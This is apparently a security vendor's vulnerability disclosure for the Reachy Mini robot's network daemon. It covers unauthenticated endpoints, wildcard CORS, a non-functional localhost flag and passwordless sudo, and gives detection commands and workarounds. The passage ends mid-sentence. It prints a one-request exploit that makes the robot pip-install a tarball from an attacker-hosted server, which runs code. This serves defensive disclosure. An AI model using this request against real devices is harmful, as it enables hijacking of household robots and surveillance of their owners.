bREACHYing the Perimeter: How One HTTP Request can Hijack your AI Robot JFrog Security Research found five CVEs in the Reachy Mini, the open-source AI robot from Pollen Robotics and Hugging Face sold in Lite and Wireless versions at $399 and $499, that can be chained to let an unauthenticated attacker on the same network take full control of the device. The flaws sit in the reachy-mini-daemon, a Python FastAPI service that binds to 0.0.0.0:8000 in Wireless, Lite and simulation modes — the --localhost-only flag is never wired into the uvicorn bind — allowing code execution, escalation to persistent root via the robot's passwordless sudo, and control of its motors, camera and microphone. A second attack variant compromises the robot when an operator merely visits a malicious web page, and JFrog published a proof-of-concept video of the full chain from webpage visit to robot hijack. bREACHYing the Perimeter: How One HTTP Request can Hijack your AI Robot Software supply chain attacks are on the rise, and naturally taking the headlines. But with the rise of localized models and common software embedded into smart “things”, risks may even be hidden in plain sight – or, in some cases, quite literally watching you. Vulnerabilities and malicious packages may extend risks to the unlikeliest of places, demanding change and accountability in even some well-intended innovations. JFrog Security Research https://research.jfrog.com is actively working to uncover some of the world’s most novel attack vectors. Imagine this… In the not-so-distant future, your AI robot connects to your home Wi-Fi network. Its cameras are on, its microphones are live, and it moves around the house in response to your commands. Now picture this: an attacker on the same reachable network could take control of the affected daemon without credentials. No password. No pairing. No exploit kit. A few HTTP requests, and the robot belongs to someone else. Overview Unfortunately, this is not a theoretical scenario. We found this during our audit of the Reachy Mini, an open-source AI robot from Pollen Robotics that runs on a Raspberry Pi and ships with its own Wi-Fi network. What is Reachy Mini? Reachy Mini is an open-source, expressive companion robot from Pollen Robotics and Hugging Face, currently offered in Lite and Wireless versions listed at $399 and $499, respectively. In 2025, the robot was introduced by Pollen Robotics as a compact, modular desktop device designed to make artificial intelligence more tangible and interactive. It is mainly used for voice and vision interaction, leveraging experimental AI and robotics for education and research. Technologically, it runs a Python daemon on a Raspberry Pi Compute Module 4, controls servo motors for head and antenna movement, streams camera and audio, and hosts an app ecosystem pulled from Hugging Face Spaces. The daemon exposes a FastAPI HTTP server for communications with the SDK and companion dashboard. If admin access to Reachy is compromised, it means potentially controlling its motors, camera, and microphone, as surveillance tools that can be used by malicious actors to penetrate the victim’s network. During our research, we uncovered five CVEs in the Reachy Mini. By chaining these CVEs together, we demonstrated that an attacker can execute attacker code, escalate to a persistent root via the robot’s passwordless sudo, and ultimately gain control of the device’s motor. A second variant of the attack works through the browser, where the operator visits a malicious web page, which silently compromises the robot. In this analysis, we present a proof-of-concept video showing the full attack chain, from webpage visit to robot hijack. Every Reachy Mini that is connected to an attacker-reachable network, such as home Wi-Fi, a conference demo booth, or a corporate LAN, is just a few requests away from full compromise. Who is affected? Attack prerequisites The vulnerability can be found in the Reachy Mini daemon reachy-mini-daemon , the Python service that controls every aspect of the robot. All modes are affected as follows: | Mode | Exposure | Access | | Wireless production robot | 0.0.0.0:8000 on the robot’s Wi-Fi interface, discoverable via mDNS as reachy-mini.local | Reachy Mini Wireless deployments running affected versions and reachable on the same network. | | Lite USB tethered | 0.0.0.0:8000 on the developer’s workstation | Developers prototyping with the Lite kit | | Simulation | 0.0.0.0:8000 on the host machine | Anyone running the simulator locally | The daemon binds to all interfaces in every mode. There is a –localhost-only flag, but it is never wired into the uvicorn server bind, and it listens to TCP :8000 regardless of the flag. Detection It is fairly simple to check whether you are exposed using the command below: On the machine running the daemon robot or workstation lsof -nP -iTCP:8000 -sTCP:LISTEN If output shows "TCP :8000 LISTEN " → exposed to the full LAN Or from any device on the same network: curl -s http://reachy-mini.local:8000/api/daemon/hardware-id If you get a JSON response → the daemon is reachable and unauthenticated Workarounds If you cannot update immediately to the latest version or one that is not vulnerable to those issues v1.11.0 , apply temporary mitigations until you can install the fixed version, as a workaround is not equal to fully patched software. - Firewall port 8000. On the robot: sudo ufw deny in on wlan0 to any port 8000. On a workstation: block port 8000 on all interfaces except loopback. - Do not install untrusted apps. The install endpoint is the attack primitive. - Tighten sudoers. Replace blanket pollen ALL= ALL NOPASSWD: ALL with the minimum commands the daemon needs see the fix suggestion in our disclosure . - Do not browse the web while the robot is on your network. This mitigates the CORS/CSRF variant. Diving into the vulnerability The Reachy Mini daemon is, architecturally, an application server bolted to a physical robot. FastAPI on 0.0.0.0:8000, CORS set to allow origins= “ ” , API endpoints covering everything from app installation to raw motor packet injection, and zero authentication on any of them. The robot advertises itself on the local network via mDNS reachy-mini. tcp.local. , making automated discovery trivial. This design means the robot’s entire control surface, including the ability to install and execute arbitrary Python packages, is reachable by anything on the same Wi-Fi network. This could be a phone, smart TV, compromised IoT device, or an attacker’s laptop parked in the coffee shop next door. The daemon that trusts the whole network Three choices that were made in the robot’s design combine to create this vulnerable attack surface: 1. No authentication, anywhere. The daemon was designed for a trusted local connection between the robot and its companion dashboard. That trust model breaks the moment the robot joins a shared network, which is almost every deployment: home Wi-Fi, office LAN or demo booth at a conference. 1. CORS allows every origin. At main.py:256-261: the code below is the Cross-Origin Resource Sharing policy definition for browsers. It is using asterisks, which means that any website the operator visits in their browser can issue requests to the daemon address without any restrictions. The browser’s same-origin policy is the last line of defense for unauthenticated local services, and Reachy Mini opts out of it entirely. app.add middleware CORSMiddleware, allow origins= " " , allow methods= " " , allow headers= " " , 1. The localhost flag is meaningless. –localhost-only is advertised in help text and exposed in the dashboard settings, but at main.py:366-371, the uvicorn bind always uses args.fastapi host default: “0.0.0.0” . The flag only controls whether the daemon computes the WLAN IP for display. Operators who set it believing they restricted network exposure are actually unprotected. Unauthenticated RCE via arbitrary pip install Arbitrary pip install == RCE. When pip installs a package from source an “sdist” , it must determine the package’s dependencies. To do this, it runs the package’s build backend, which for most packages means executing setup.py. This happens automatically, silently, and before any “requirement already satisfied” check. Installing from an untrusted source is code execution by design. This is not a pip bug – it is pip’s documented behavior. The danger is exposing that behavior to untrusted network input. The root cause The /api/apps/install endpoint at routers/apps.py:63-75 accepts a JSON body describing an app to install. The AppInfo dataclass carries a source kind field and a free-form extra dictionary. When source kind is set to “local”, the daemon reads extra “path” and passes it directly to uv pip install: local common venv.py — the attacker-controlled input flows straight into pip elif app.source kind == SourceKind.LOCAL: target = app.extra.get "path", app.name ... install cmd = "uv", "pip", "install", "--python", str python path install cmd.append target ... ret = await running command install cmd, logger=logger No allowlist. No URL validation. No source-kind restriction at the router boundary. The LOCAL source kind was designed for internal development workflows and is never triggered through the normal dashboard flow, but the router exposes it to anyone who can send a POST command. The trigger The entire exploit is a single HTTP request. No info leak, no memory corruption, no shellcode. pip itself is the execution engine: POST /api/apps/install HTTP/1.1 Host: reachy-mini.local:8000 Content-Type: application/json {"name":"reachy mini pwn","source kind":"local", "extra":{"path":"http://192.168.64.1:8888/reachy mini pwn-0.0.1.tar.gz"}} The attacker hosts a minimal sdist a tarball containing pyproject.toml and a setup.py on any HTTP server reachable from the robot, with a custom tarball containing a malicious payload. The daemon responds with {“job id”:”